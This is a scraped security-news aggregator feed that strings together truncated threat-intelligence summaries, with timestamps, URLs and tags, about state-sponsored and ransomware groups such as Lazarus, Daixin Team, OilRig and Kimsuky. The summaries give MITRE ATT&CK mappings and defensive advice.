2022-10-31T01:57:31+00:00 https://asec.ahnlab.com/en/40830/ www.secnews.physaphae.fr/article.php?IdArticle=7747128 False Malware,Hack,Vulnerability,Threat,Medical APT 38 None Anomali - Firm Blog Figure 1 - IOC Summary Charts. These charts summarize the IOCs attached to this magazine and provide a glimpse of the threats discussed. Trending Cyber News and Threat Intelligence Alert (AA22-294A) #StopRansomware: Daixin Team (published: October 21, 2022) Daixin Team is a double-extortion ransomware group that has been targeting US businesses, predominantly in the healthcare sector. Since June 2022, Daixin Team has been encrypting electronic health record services, diagnostics services, imaging services, and intranet services. The group has exfiltrated personal identifiable information and patient health information. Typical intrusion starts with initial access through virtual private network (VPN) servers gained by exploitation or valid credentials derived from prior phishing. They use SSH and RDP for lateral movement and target VMware ESXi systems with ransomware based on leaked Babuk Locker source code. Analyst Comment: Network defenders should keep organization’s VPN servers up-to-date on security updates. Enable multifactor authentication (MFA) on your VPN server and other critical accounts (administrative, backup-related, and webmail). Restrict the use of RDP, SSH, Telnet, virtual desktop and similar services in your environment. MITRE ATT&CK: [MITRE ATT&CK] Exploit Public-Facing Application - T1190 | [MITRE ATT&CK] Valid Accounts - T1078 | [MITRE ATT&CK] Account Manipulation - T1098 | [MITRE ATT&CK] OS Credential Dumping - T1003 | [MITRE ATT&CK] Remote Service Session Hijacking - T1563 | [MITRE ATT&CK] Use Alternate Authentication Material - T1550 | [MITRE ATT&CK] Exfiltration Over Web Service - T1567 | [MITRE ATT&CK] Data Encrypted for Impact - T1486 Tags: actor:Daixin Team, malware-type:Ransomware, PHI, SSH, RDP, Rclone, Ngrok, target-sector:Health Care NAICS 62, ESXi, VMware, Windows Exbyte: BlackByte Ransomware Attackers Deploy New Exfiltration Tool (published: October 21, 2022) Symantec detected a new custom data exfiltration tool used in a number of BlackByte ransomware attacks. This infostealer, dubbed Exbyte, performs anti-sandbox checks and proceeds to exfiltrate selected file types to a hardcoded Mega account. BlackByte ransomware-as-a-service operations were first uncovered in February 2022. The group’s recent attacks start with exploiting public-facing vulnerabilities of ProxyShell and ProxyLogon families. BlackByte removes Kernel Notify Routines to bypass Endpoint Detection and Response (EDR) products. The group uses AdFind, AnyDesk, Exbyte, NetScan, and PowerView tools and deploys BlackByte 2.0 ransomware payload. Analyst Comment: It is crucial that your company ensures that servers are]]> 2022-10-25T16:53:00+00:00 https://www.anomali.com/blog/anomali-cyber-watch-daixin-team-ransoms-healthcare-sector-earth-berberoka-breaches-casinos-for-data-windows-affected-by-bring-your-own-vulnerable-driver-attacks-and-more www.secnews.physaphae.fr/article.php?IdArticle=7673563 False Ransomware,Malware,Tool,Vulnerability,Threat,Medical APT 38 None Anomali - Firm Blog Figure 1 - IOC Summary Charts. These charts summarize the IOCs attached to this magazine and provide a glimpse of the threats discussed. Trending Cyber News and Threat Intelligence New Royal Ransomware Emerges in Multi-Million Dollar Attacks (published: September 29, 2022) AdvIntel and BleepingComputer researchers describe the Royal ransomware group. Several experienced ransomware actors formed this group in January 2022. It started with third-party encryptors such as BlackCat, switched to using its own custom Zeon ransomware, and, since the middle of September 2022, the Royal ransomware. Royal group utilizes targeted callback phishing attacks. Its phishing emails impersonating food delivery and software providers contained phone numbers to cancel the alleged subscription (after the alleged end of a free trial). If an employee calls the number, Royal uses social engineering to convince the victim to install a remote access tool, which is used to gain initial access to the corporate network. Analyst Comment: Use services such as Anomali's Premium Digital Risk Protection to detect the abuse of your brands in typosquatting and phishing attacks. Organizations should include callback phishing attacks awareness into their anti-phishing training. MITRE ATT&CK: [MITRE ATT&CK] Data Encrypted for Impact - T1486 | [MITRE ATT&CK] Phishing - T1566 Tags: actor:Royal, detection:Zeon, detection:Royal, malware-type:Ransomware, detection:BlackCat, detection:Cobalt Strike, Callback phishing attacks, Spearphishing, Social Engineering ZINC Weaponizing Open-Source Software (published: September 29, 2022) Microsoft researchers described recent developments in Lazarus Group (ZINC) campaigns that start from social engineering conversations on LinkedIn. Since June 2022, Lazarus was able to trojanize several open-source tools (KiTTY, muPDF/Subliminal Recording software installer, PuTTY, TightVNC, and Sumatra PDF Reader). When a target extracts the trojanized tool from the ISO file and installs it, Lazarus is able to deliver their custom malware such as EventHorizon and ZetaNile. In many cases, the final payload was not delivered unless the target manually established an SSH connection to an attacker-controlled IP address provided in the attached ReadMe.txt file. Analyst Comment: All known indicators connected to this recent Lazarus Group campaign are available in the Anomali platform and customers are advised to block these on their infrastructure. Researchers should monitor for the additional User Execution step required for payload delivery. Defense contractors should be aware of advanced social engineering efforts abusing LinkedIn and other means of establishing trusted communication. MITRE ATT&CK: [MITRE ATT&CK] User Execution - T1204 | [MITRE ATT&CK] Scheduled Task - T1053 | ]]> 2022-10-04T18:08:00+00:00 https://www.anomali.com/blog/anomali-cyber-watch-canceling-subscription-installs-royal-ransomware-lazarus-covinces-to-ssh-to-its-servers-polyglot-file-executed-itself-as-a-different-file-type-and-more www.secnews.physaphae.fr/article.php?IdArticle=7298043 False Ransomware,Malware,Tool,Threat,Medical APT 38 None Security Affairs - Blog Secu North Korea-linked Lazarus APT group is targeting macOS Users searching for jobs in the cryptocurrency industry. North Korea-linked Lazarus APT group continues to target macOS with a malware campaign using job opportunities as a lure. The attackers aimed at stealing credentials for the victims’ wallets. Last week, SentinelOne researchers discovered a decoy documents advertising positions […] ]]> 2022-09-27T20:39:33+00:00 https://securityaffairs.co/wordpress/136297/apt/lazarus-apt-targeting-macos.html www.secnews.physaphae.fr/article.php?IdArticle=7164732 False Malware APT 38 None Bleeping Computer - Magazine Américain 2022-09-27T14:55:43+00:00 https://www.bleepingcomputer.com/news/security/lazarus-hackers-drop-macos-malware-via-cryptocom-job-offers/ www.secnews.physaphae.fr/article.php?IdArticle=7163019 False Malware,Hack APT 38 None TechRepublic - Security News US Lazarus, a North Korean cyberespionage group, keeps hitting energy providers in the U.S., Canada and Japan with a new malware arsenal. ]]> 2022-09-14T17:22:49+00:00 https://www.techrepublic.com/article/lazarus-targets-energy-providers/ www.secnews.physaphae.fr/article.php?IdArticle=6892335 False Malware APT 38 None Anomali - Firm Blog Figure 1 - IOC Summary Charts. These charts summarize the IOCs attached to this magazine and provide a glimpse of the threats discussed. Trending Cyber News and Threat Intelligence Microsoft Investigates Iranian Attacks Against the Albanian Government (published: September 8, 2022) Microsoft researchers discovered that groups working under Iran’s Ministry of Intelligence and Security (MOIS, tracked as OilRig) attacked the government of Albania. The attackers started with initial intrusion in May 2021, proceeded with mailbox exfiltrations between October 2021 and January 2022, organized controlled leaks, and culminated on July 15, 2022, with disruptive ransomware and wiper attacks. This attack is probably a response to the June 2021 Predatory Sparrow’s anti-Iranian cyber operations promoting the Mujahedin-e Khalq (MEK), an Iranian dissident group largely based in Albania. Analyst Comment: MOIS attack on Albania uses messaging and targeting similar to the previous MEK-associated attack on Iran. It tells us that Iran has chosen to engage in a form of direct and proportional retaliation as it sees it. Still, the attack and its attribution caused Albania to cut diplomatic ties with Iran and expel the country's embassy staff. Organizations should implement multifactor authentication (MFA) for mailbox access and remote connectivity. Anomali platform users advised to block known OilRig network indicators. MITRE ATT&CK: [MITRE ATT&CK] Exploit Public-Facing Application - T1190 | [MITRE ATT&CK] Data Encrypted for Impact - T1486 | [MITRE ATT&CK] Impair Defenses - T1562 | [MITRE ATT&CK] Indicator Removal on Host - T1070 Tags: OilRig, Helix Kitten, APT34, MOIS, Ministry of Intelligence and Security, Predatory Sparrow, Wiper, CVE-2021-26855, CVE-2019-0604, CVE-2022-28799, Government, Albania, target-country:AL, Iran, source-country:IR, DEV-0842, DEV-0861, DEV-0166, DEV-0133, Europium, APT, detection:Jason, detection:Mellona BRONZE PRESIDENT Targets Government Officials (published: September 8, 2022) Secureworks researchers detected a new campaign by China-sponsored group Mustang Panda (Bronze President). In June and July 2022, the group used spearphishing to deliver the PlugX malware to government officials in Europe, the Middle East, and South America. To bypass mail-scanning antiviruses, the archived email attachment had malware embedded eight levels deep in a sequence of hidden folders named with special characters. Analyst Comment: Many advanced attacks start with basic techniques such as unwarranted email with malicious attachment that requires the user to open it and enable macros. It is important to teach your users basic online hygiene and phishing awareness. MITRE ATT&CK: [MITRE ATT&CK] Phishing - T1566 | ]]> 2022-09-13T15:00:00+00:00 https://www.anomali.com/blog/anomali-cyber-watch-iran-albanian-cyber-conflict-ransomware-adopts-intermittent-encryption-dll-side-loading-provides-variety-to-plugx-infections-and-more www.secnews.physaphae.fr/article.php?IdArticle=6869959 False Ransomware,Malware,Tool,Vulnerability,Threat,Guideline APT 27,APT 34 None CSO - CSO Daily Dashboard remote access Trojan (RAT) being used in attack campaigns this year by Lazarus, a threat actor tied to the North Korean government. The new RAT has been used alongside other malware implants attributed to Lazarus and it's mainly used in the first stages of an attack.Dubbed MagicRAT, the new Lazarus malware program was developed using Qt, a framework commonly used to develop graphical user interfaces for cross-platform applications. Since the Trojan doesn't have a GUI, researchers from Cisco Talos believe the reason for using Qt was to make detection harder.To read this article in full, please click here]]> 2022-09-08T14:14:00+00:00 https://www.csoonline.com/article/3673094/north-korean-state-sponsored-hacker-group-lazarus-adds-new-rat-to-its-malware-toolset.html#tk.rss_all www.secnews.physaphae.fr/article.php?IdArticle=6790810 False Malware,Threat APT 38 None The Register - Site journalistique Anglais 2022-09-08T12:00:09+00:00 https://go.theregister.com/feed/www.theregister.com/2022/09/08/lazarus_group_energy_firms_trade_secrets/ www.secnews.physaphae.fr/article.php?IdArticle=6783464 False Malware,Medical APT 38 None CISCO Talos - Cisco Research blog By Jung soo An, Asheer Malhotra and Vitor Ventura.Cisco Talos has been tracking a new campaign operated by the Lazarus APT group, attributed to North Korea by the United States government. This campaign involved the exploitation of vulnerabilities in VMWare Horizon to gain an initial foothold into targeted organizations.Targeted organizations include energy providers from around the world, including those headquartered in the United States, Canada and Japan. The campaign is meant to infiltrate organizations around the world for establishing long term access and subsequently exfiltrating data of interest to the adversary's nation-state.Talos has discovered the use of two known families of malware in these intrusions - VSingle and YamaBot.Talos has also discovered the use of a recently disclosed implant we're calling "MagicRAT" in this campaign. IntroductionCisco Talos observed North Korean state-sponsored APT Lazarus Group conducting malicious activity between February and July 2022. Lazarus has been previously attributed to the North Korean government by the U.S. Cybersecurity and Infrastructure Security Agency (CISA). The entry vectors involve the successful exploitation of vulnerabilities in VMWare products to establish initial footholds into enterprise networks, followed by the deployment of the group's custom malware implants, VSingle and YamaBot. In addition to these known malware families, we have also discovered the use of a previously unknown malware implant we're calling "MagicRAT."This campaign was previously partially disclosed by other security firms, but our findings reveal more details about the adversary's modus operandi. We have also observed an overlap of command and control (C2) and payload-hosting infrastructure between our findings and the U.S. Cybersecurity and Infrastructure Security Agency's (CISA) June advisory that detailed continued attempts from threat actors to compromise vulnerable VMWare Horizon servers.In this research, we illustrate Lazarus Group's post-exploitation tactics, techniques and procedures (TTPs) to establish a foothold, perform initial reconnaissance, deploy bespoke malware and move laterally across infected enterprises. We also provide details about the activities performed by the attackers when the VSingle backdoor is instrumented on the infected endpoints.In this campaign, Lazarus was primarily targeting energy companies in Canada, the U.S. and Japan. The main goal of these attacks was likely to establish long-term access into victim networks to conduct espionage operations in support of North Korean govern]]> 2022-09-08T08:39:42+00:00 http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html www.secnews.physaphae.fr/article.php?IdArticle=6785115 False Malware,Tool,Vulnerability,Threat,Medical APT 38 None The Hacker News - The Hacker News est un blog de news de hack (surprenant non?) 2022-09-07T17:40:00+00:00 https://thehackernews.com/2022/09/north-korean-hackers-spotted-using-new.html www.secnews.physaphae.fr/article.php?IdArticle=6767439 False Malware,Medical APT 38 None CISCO Talos - Cisco Research blog By Jung soo An, Asheer Malhotra and Vitor Ventura.Cisco Talos has discovered a new remote access trojan (RAT) we're calling "MagicRAT," developed and operated by the Lazarus APT group, which the U.S. government believes is a North Korean state-sponsored actor.Lazarus deployed MagicRAT after the successful exploitation of vulnerabilities in VMWare Horizon platforms.We've also found links between MagicRAT and another RAT known as "TigerRAT," disclosed and attributed to Lazarus by the Korean Internet & Security Agency (KISA) recently.TigerRAT has evolved over the past year to include new functionalities that we illustrate in this blog. Executive SummaryCisco Talos has discovered a new remote access trojan (RAT), which we are calling "MagicRAT," that we are attributing with moderate to high confidence to the Lazarus threat actor, a state-sponsored APT attributed to North Korea by the U.S. Cyber Security & Infrastructure Agency (CISA). This new RAT was found on victims that had been initially compromised through the exploitation of publicly exposed VMware Horizon platforms. While being a relatively simple RAT capability-wise, it was built with recourse to the Qt Framework, with the sole intent of making human analysis harder, and automated detection through machine learning and heuristics less likely.We have also found evidence to suggest that once MagicRAT is deployed on infected systems, it launches additional payloads such as custom-built port scanners. Additionally, we've found that MagicRAT's C2 infrastructure was also used to host newer variants of known Lazarus implants such as TigerRAT. The discovery of MagicRAT in the wild is an indication of Lazarus' motivations to rapidly build new, bespoke malware to use along with their previously known malware such as TigerRAT to target organizations worldwide.Actor profile]]> 2022-09-07T08:01:43+00:00 http://blog.talosintelligence.com/2022/09/lazarus-magicrat.html www.secnews.physaphae.fr/article.php?IdArticle=6766837 False Malware,Threat,Medical APT 38 3.0000000000000000 CISCO Talos - Cisco Research blog Transparent Tribe group he's written about several times. “At some point, I say 'Hey, I don't think I've seen this before.' I start analyzing public disclosures, and slowly start gaining confidence and being able to craft a narrative around the motivations and tactics around a specific threat actor or malware campaign,” he said. In the case of Transparent Tribe, Malhotra's tracked their growth as a major player in the threat landscape in Asia, as they've added several remote access trojans to their arsenal, targeted high-profile government-adjacent entities in India and expanded their scope across the region.  When he's not threat hunting, Malhotra also speaks to Cisco customers about the current state of cybersecurity in briefings and delivers presentations at conferences around the world (mainly virtually during the COVID-19 pandemic).  “I always try to find the latest and new stuff to talk about. … I've been honing my skills and trying to speak more confidently publicly, but the confidence is backed up with the right kind of knowledge and the threat intelligence, that's what helps me succeed,” he said.  Malhotra is a native of India and spent most of his life there before coming to the U.S. for his master's degree at Mississippi State University. Mississippi was a far cry from everything else he had known up until that point, but he quickly adjusted. “That was the 'Deep South,'” he said. “So there was a culture shock, but the southern hospitality is such a real thing, and it felt very normal there.” Growing up, Malhotra always knew he wanted to work with computers, starting out as a teenager reverse-engineering exploits he'd see others talk about on the internet or just poking at smaller applications. His additional interest in politics and national security made it natural for him to combine the two and focus his research on state-sponsored actors.  He enjoys continuing his research in the Indian subcontinent and sees many parallels between the state of security in India and the U.S. “Th]]> 2022-09-06T08:00:00+00:00 http://blog.talosintelligence.com/2022/09/researcher-spotlight-how-asheer.html www.secnews.physaphae.fr/article.php?IdArticle=6750298 False Ransomware,Malware,Threat,Guideline APT 36 None The Hacker News - The Hacker News est un blog de news de hack (surprenant non?) 2022-08-23T07:50:00+00:00 https://thehackernews.com/2022/08/google-uncovers-tool-used-by-iranian.html www.secnews.physaphae.fr/article.php?IdArticle=6485628 False Malware,Tool,Threat,Conference Yahoo,APT 35 None InformationSecurityBuzzNews - Site de News Securite 2022-08-18T13:24:31+00:00 https://informationsecuritybuzz.com/expert-comments/north-korean-threat-group-lazarus-up-to-old-tricks-with-new-malware-attack-targeting-mac-os-systems/ www.secnews.physaphae.fr/article.php?IdArticle=6393404 False Malware,Threat APT 38 None SecurityWeek - Security News 2022-08-18T12:54:17+00:00 https://www.securityweek.com/north-korean-hackers-use-fake-job-offers-deliver-new-macos-malware www.secnews.physaphae.fr/article.php?IdArticle=6393384 False Malware,Threat APT 38 None Kaspersky Threatpost - Kaspersky est un éditeur antivirus russe 2022-08-17T15:07:53+00:00 https://threatpost.com/apt-lazarus-macos-malware/180426/ www.secnews.physaphae.fr/article.php?IdArticle=6374994 False Malware APT 38 None Bleeping Computer - Magazine Américain 2022-08-17T13:01:42+00:00 https://www.bleepingcomputer.com/news/security/north-korean-hackers-use-signed-macos-malware-to-target-it-job-seekers/ www.secnews.physaphae.fr/article.php?IdArticle=6375974 False Malware,Medical APT 38 None IT Security Guru - Blog Sécurité 2022-08-17T09:33:15+00:00 https://www.itsecurityguru.org/2022/08/17/job-seekers-targeted-in-lazarus-group-hack/?utm_source=rss&utm_medium=rss&utm_campaign=job-seekers-targeted-in-lazarus-group-hack www.secnews.physaphae.fr/article.php?IdArticle=6370619 True Malware,Hack,Medical APT 38 None Security Affairs - Blog Secu The North Korea-linked Lazarus Group has been observed targeting job seekers with macOS malware working also on Intel and M1 chipsets. ESET researchers continue to monitor a cyberespionage campaign, tracked as “Operation In(ter)ception,” that has been active at least since June 2020. The campaign targets employees working in the aerospace and military sectors and leverages […] ]]> 2022-08-17T08:31:52+00:00 https://securityaffairs.co/wordpress/134491/malware/north-korea-mac-malware-m1.html www.secnews.physaphae.fr/article.php?IdArticle=6369198 False Malware,Medical APT 38 None The Hacker News - The Hacker News est un blog de news de hack (surprenant non?) 2022-08-16T23:20:26+00:00 https://thehackernews.com/2022/08/north-korea-hackers-spotted-targeting.html www.secnews.physaphae.fr/article.php?IdArticle=6368264 False Malware,Medical APT 38 None Anomali - Firm Blog Figure 1 - IOC Summary Charts. These charts summarize the IOCs attached to this magazine and provide a glimpse of the threats discussed. Trending Cyber News and Threat Intelligence APT-C-35: New Windows Framework Revealed (published: August 11, 2022) The DoNot Team (APT-C-35) are India-sponsored actors active since at least 2016. Morphisec Labs researchers discovered a new Windows framework used by the group in its campaign targeting Pakistani government and defense departments. The attack starts with a spearphishing RTF attachment. If opened in a Microsoft Office application, it downloads a malicious remote template. After the victim enables editing (macroses) a multi-stage framework deployment starts. It includes two shellcode stages followed by main DLL that, based on victim fingerprinting, downloads a custom set of additional information-stealing modules. Analyst Comment: The described DoNot Team framework is pretty unique in its customisation, fingerprinting, and module implementation. At the same time, the general theme of spearphishing attachment that asks the targeted user to enable editing is not new and can be mitigated by anti-phishing training and Microsoft Office settings hardening. MITRE ATT&CK: [MITRE ATT&CK] Phishing - T1566 | [MITRE ATT&CK] Virtualization/Sandbox Evasion - T1497 | [MITRE ATT&CK] Template Injection - T1221 | [MITRE ATT&CK] User Execution - T1204 | [MITRE ATT&CK] Ingress Tool Transfer - T1105 | [MITRE ATT&CK] Obfuscated Files or Information - T1027 | [MITRE ATT&CK] Deobfuscate/Decode Files or Information - T1140 | [MITRE ATT&CK] Scheduled Task - T1053 | [MITRE ATT&CK] System Information Discovery - T1082 | [MITRE ATT&CK] Input Capture - T1056 | [MITRE ATT&CK] Screen Capture - T1113 | [MITRE ATT&CK] Data from Local System - T1005 | [MITRE ATT&CK] Data from Removable Media - T1025 | [MITRE ATT&CK] Data from Network Shared Drive - T1039 | [MITRE ATT&CK] Credentials from Password Stores - T1555 | [MITRE ATT&CK] Data Staged - T1074 | [MITRE ATT&CK] Command and Scripting Interpreter - T1059 Tags: APT-C-35, DoNot Team, APT, India, source-country:IN, Government, Military, Pakistan, target-country:PK, Windows]]> 2022-08-16T15:06:00+00:00 https://www.anomali.com/blog/anomali-cyber-watch-ransomware-module-added-to-sova-android-trojan-bitter-apt-targets-mobile-phones-with-dracarys-china-sponsored-ta428-deploys-six-backdoors-at-once-and-more www.secnews.physaphae.fr/article.php?IdArticle=6354068 False Ransomware,Malware,Tool,Vulnerability,Threat,Guideline,Medical APT 38 None NoticeBored - Experienced IT Security professional glossy, nicely-constructed and detailed PowerPoint slide deck by Microsoft Security caught my beady this morning. The title 'CISO Workshop: Security Program and Strategy' with 'Your Name Here' suggests it might be a template for use in a workshop/course bringing CISOs up to speed on the governance, strategic and architectural aspects of information security, but in fact given the amount of technical detail, it appears to be aimed at informing IT/technology managers about IT or cybersecurity, specifically. Maybe it is intended for newly-appointed CISOs or more junior managers who aspire to be CISOs, helping them clamber up the pyramid (slide 87 of 142):]]> 2022-08-06T10:46:21+00:00 http://blog.noticebored.com/2022/08/a-glossy-nicely-constructed-and.html www.secnews.physaphae.fr/article.php?IdArticle=6150878 False Malware,Vulnerability,Threat,Patching,Guideline,Medical,Cloud Uber,APT 38,APT 37,APT 28,APT 19,APT 15,APT 10,APT 34,Guam None Bleeping Computer - Magazine Américain 2022-08-05T10:40:33+00:00 https://www.bleepingcomputer.com/news/security/facebook-finds-new-android-malware-used-by-apt-hackers/ www.secnews.physaphae.fr/article.php?IdArticle=6143551 False Malware,Threat APT 36 None Anomali - Firm Blog Figure 1 - IOC Summary Charts. These charts summarize the IOCs attached to this magazine and provide a glimpse of the threats discussed. Trending Cyber News and Threat Intelligence SharpTongue Deploys Clever Mail-Stealing Browser Extension “SHARPEXT” (published: July 28, 2022) Volexity researchers discovered SharpExt, a new malicious browser app used by the North-Korea sponsored Velvet Chollima (Kimsuky, SharpTongue, Thallium) group. SharpExt inspects and exfiltrates data from a victim's webmail (AOL or Gmail) account as they browse it. Velvet Chollima continues to add new features to the app, the latest known version (3.0) supports three browsers: Microsoft Edge, Google Chrome, and Whale, the latter almost exclusively used in South Korea. Following the initial compromise, Velvet Chollima deploy SharpExt and to avoid warning the victim they manually exfiltrate settings files to change the settings and generate a valid "super_mac" security check value. They also hide the newly opened DevTools window and any other warning windows such as a warning regarding extensions running in developer mode. Analyst Comment: Velvet Chollima is known for its tactic of deploying malicious browser extensions, but in the past it was concentrating on stealing credentials instead of emails. The group continues aggressive cyberespionage campaigns exfiltrating military and industrial technologies from Europe, South Korea, and the US. Network defenders should monitor for suspicious instances of PowerShell execution, as well as for traffic to and from known Velvet Chollima infrastructure (available in Anomali Match). MITRE ATT&CK: [MITRE ATT&CK] Browser Extensions - T1176 | [MITRE ATT&CK] Email Collection - T1114 | [MITRE ATT&CK] Command and Scripting Interpreter - T1059 | [MITRE ATT&CK] Hide Artifacts - T1564 Tags: SharpExt, Velvet Chollima, Kimsuky, SharpTongue, Thallium, APT, North Korea, source-country:KP, South Korea, target-country:KR, USA, target-country:US, target-region:Europe, AOL, Gmail, Edge, Chrome, Whale, PowerShell, VBS, Browser extension Untangling KNOTWEED: European Private-Sector Offensive Actor Using 0-Day Exploits (published: July 27, 2022) Microsoft researchers detail activity of DSIRF, Austrian private-sector offensive actor (PSOA). In 2021, this actor, tracked as Knotweed, used four Windows and Adobe 0-day exploits. In 2022, DSIRF was exploiting another Adobe Reader vulnerability, CVE-2022-22047, which was patched in July 2022. DSIRF attacks rely on their malware toolset called Subzero. The initial downloader shellcode is executed from either the exploit chains or malicious Excel documents. It downloads a JPG image file with extra encrypted data, extracts, decrypts and loads to the memory the Corelump memory-only infostealer. For persistence, Corelump creates trojanized copies of legitimate Windows DLLs that se]]> 2022-08-02T15:17:00+00:00 https://www.anomali.com/blog/anomali-cyber-watch-velvet-chollima-steals-emails-from-browsers-austrian-mercenary-leverages-zero-days-china-sponsored-group-uses-cosmicstrand-uefi-firmware-rootkit-and-more www.secnews.physaphae.fr/article.php?IdArticle=6091651 False Malware,Tool,Vulnerability,Threat,Patching,Guideline,Cloud APT 37,APT 28 None Bleeping Computer - Magazine Américain 2022-07-23T12:08:04+00:00 https://www.bleepingcomputer.com/news/security/north-korean-hackers-attack-eu-targets-with-konni-rat-malware/ www.secnews.physaphae.fr/article.php?IdArticle=5907099 False Malware,Threat,Cloud APT 37 None The Hacker News - The Hacker News est un blog de news de hack (surprenant non?) 2022-07-14T01:15:16+00:00 https://thehackernews.com/2022/07/pakistani-hackers-targeting-indian.html www.secnews.physaphae.fr/article.php?IdArticle=5716161 False Malware,Threat APT 36 None The Hacker News - The Hacker News est un blog de news de hack (surprenant non?) 2022-06-24T03:40:50+00:00 https://thehackernews.com/2022/06/google-says-isps-helped-attackers.html www.secnews.physaphae.fr/article.php?IdArticle=5358737 False Malware,Cloud APT 37 None Anomali - Firm Blog Figure 1 - IOC Summary Charts. These charts summarize the IOCs attached to this magazine and provide a glimpse of the threats discussed. Trending Cyber News and Threat Intelligence Update: The Phish Goes On - 5 Million Stolen Credentials and Counting (published: June 16, 2022) PIXM researchers describe an ongoing, large-scale Facebook phishing campaign. Its primary targets are Facebook Messenger mobile users and an estimated five million users lost their login credentials. The campaign evades Facebook anti-phishing protection by redirecting to a new page at a legitimate service such as amaze.co, famous.co, funnel-preview.com, or glitch.me. In June 2022, the campaign also employed the tactic of displaying legitimate shopping cart content at the final page for about two seconds before displaying the phishing content. The campaign is attributed to Colombian actor BenderCrack (Hackerasueldo) who monetizes displaying affiliate ads. Analyst Comment: Users should check what domain is asking for login credentials before providing those. Organizations can consider monitoring their employees using Facebook as a Single Sign-On (SSO) Provider. MITRE ATT&CK: [MITRE ATT&CK] Phishing - T1566 | [MITRE ATT&CK] User Execution - T1204 Tags: Facebook, Phishing, Facebook Messenger, Social networks, Mobile, Android, iOS, Redirect, Colombia, source-country:CO, BenderCrack, Hackerasueldo F5 Labs Investigates MaliBot (published: June 15, 2022) F5 Labs researchers describe a novel Android trojan, dubbed MaliBot. Based on re-written SOVA malware code, MaliBot is maintaining its Background Service by setting itself as a launcher. Its code has some unused evasion portions for emulation environment detection and setting the malware as a hidden app. MaliBot spreads via smishing, takes control of the device and monetizes using overlays for certain Italian and Spanish banks, stealing cryptocurrency, and sometimes sending Premium SMS to paid services. Analyst Comment: Users should be wary of following links in unexpected SMS messages. Try to avoid downloading apps from third-party websites. Be cautious with enabling accessibility options. MITRE ATT&CK: [MITRE ATT&CK] System Network Configuration Discovery - T1016 | [MITRE ATT&CK] User Execution - T1204 Tags: MaliBot, Android, MFA bypass, SMS theft, Premium SMS, Smishing, Binance, Trust wallet, VNC, SOVA, Sality, Cryptocurrency, Financial, Italy, target-country:IT, Spain, target-country:ES Extortion Gang Ransoms Shoprite, Largest Supermarket Chain in Africa (published: June 15, 2022) On June 10, 2022, the African largest supermarket chain operating in twelve countries, Shoprite Holdings, announced a possible cybersecurity incident. The company notified customers in E]]> 2022-06-21T15:03:00+00:00 https://www.anomali.com/blog/anomali-cyber-watch-gallium-expands-targeting-across-telecommunications-government-and-finance-sectors-with-new-pingpull-tool-dragonforce-malaysia-opspatuk-opsindia-and-more www.secnews.physaphae.fr/article.php?IdArticle=5309464 False Ransomware,Malware,Tool,Vulnerability,Threat,Guideline,Conference Yahoo,APT 35 None Security Affairs - Blog Secu Experts uncovered an enterprise-grade surveillance malware dubbed Hermit used to target individuals in Kazakhstan, Syria, and Italy since 2019. Lookout Threat Lab researchers uncovered enterprise-grade Android surveillance spyware, named Hermit, used by the government of Kazakhstan to track individuals within the country. The latest samples of this spyware were detected by the researchers in April 2022, four […] ]]> 2022-06-17T20:00:33+00:00 https://securityaffairs.co/wordpress/132363/malware/hermit-spyware-italian-surveillance-firm.html www.secnews.physaphae.fr/article.php?IdArticle=5226610 False Malware,Threat,Cloud APT 37 None Anomali - Firm Blog Figure 1 - IOC Summary Charts. These charts summarize the IOCs attached to this magazine and provide a glimpse of the threats discussed. Trending Cyber News and Threat Intelligence COBALT MIRAGE Conducts Ransomware Operations in U.S. (published: May 12, 2022) Secureworks researchers describe campaigns by Iran-sponsored group Cobalt Mirage. These actors are likely part of a larger group, Charming Kitten (Phosphorus, APT35, Cobalt Illusion). In 2022, Cobalt Mirage deployed BitLocker ransomware on a US charity systems, and exfiltrated data from a US local government network. Their ransomware operations appear to be a low-scale, hands-on approach with rare tactics such as sending a ransom note to a local printer. The group utilized its own custom binaries including a Fast Reverse Proxy client (FRPC) written in Go. It also relied on mass scanning for known vulnerabilities (ProxyShell, Log4Shell) and using commodity tools for encryption, internal scanning, and lateral movement. Analyst Comment: However small your government or NGO organization is, it still needs protection from advanced cyber actors. Keep your system updated, and employ mitigation strategies when updates for critical vulnerabilities are not available. MITRE ATT&CK: [MITRE ATT&CK] Exploit Public-Facing Application - T1190 | [MITRE ATT&CK] OS Credential Dumping - T1003 | [MITRE ATT&CK] Command and Scripting Interpreter - T1059 | [MITRE ATT&CK] Modify Registry - T1112 | [MITRE ATT&CK] Create Account - T1136 | [MITRE ATT&CK] Account Manipulation - T1098 | [MITRE ATT&CK] Proxy - T1090 | [MITRE ATT&CK] Data Encrypted for Impact - T1486 Tags: Cobalt Mirage, Phosphorous, Cobalt Illusion, TunnelVision, Impacket, wmiexec, Softperfect network scanner, LSASS, RDP, Powershell, BitLocker, Ransomware, Fast Reverse Proxy client, FRP, FRPC, Iran, source-country:IR, USA, target-country:US, Cyberespionage, Government, APT, Go, Log4j2, ProxyShell, CVE-2021-34473, CVE-2021-45046, CVE-2021-44228, CVE-2020-12812, CVE-2021-31207, CVE-2018-13379, CVE-2021-34523, CVE-2019-5591 SYK Crypter Distributing Malware Families Via Discord (published: May 12, 2022) Morphisec researchers discovered a new campaign abusing popular messaging platform Discord content distribution network (CDN). If a targeted user activates the phishing attachment, it starts the DNetLoader malware that reaches out to the hardcoded Discord CDN link and downloads a next stage crypter such as newly-discovered SYK crypter. SYK crypter is being loaded into memory where it decrypts its configuration and the next stage payload using hardcoded keys and various encryption methods. It detects and impairs antivirus solutions and checks for d]]> 2022-05-17T15:01:00+00:00 https://www.anomali.com/blog/anomali-cyber-watch-costa-rica-in-ransomware-emergency-charming-kitten-spy-and-ransom-saitama-backdoor-hides-by-sleeping-and-more www.secnews.physaphae.fr/article.php?IdArticle=4668209 False Ransomware,Malware,Tool,Vulnerability,Threat,Conference APT 35,APT 15,APT 34 None The Hacker News - The Hacker News est un blog de news de hack (surprenant non?) 2022-05-12T06:56:45+00:00 https://thehackernews.com/2022/05/iranian-hackers-leveraging-bitlocker.html www.secnews.physaphae.fr/article.php?IdArticle=4583977 False Ransomware,Malware,Threat,Conference APT 35,APT 15 4.0000000000000000 Anomali - Firm Blog Figure 1 - IOC Summary Charts. These charts summarize the IOCs attached to this magazine and provide a glimpse of the threats discussed. Trending Cyber News and Threat Intelligence A Lookback Under the TA410 Umbrella: Its Cyberespionage TTPs and Activity (published: April 28, 2022) ESET researchers found three different teams under China-sponsored umbrella cyberespionage group TA410, which is loosely linked to Stone Panda (APT10, Chinese Ministry of State Security). ESET named these teams FlowingFrog, JollyFrog, and LookingFrog. FlowingFrog uses 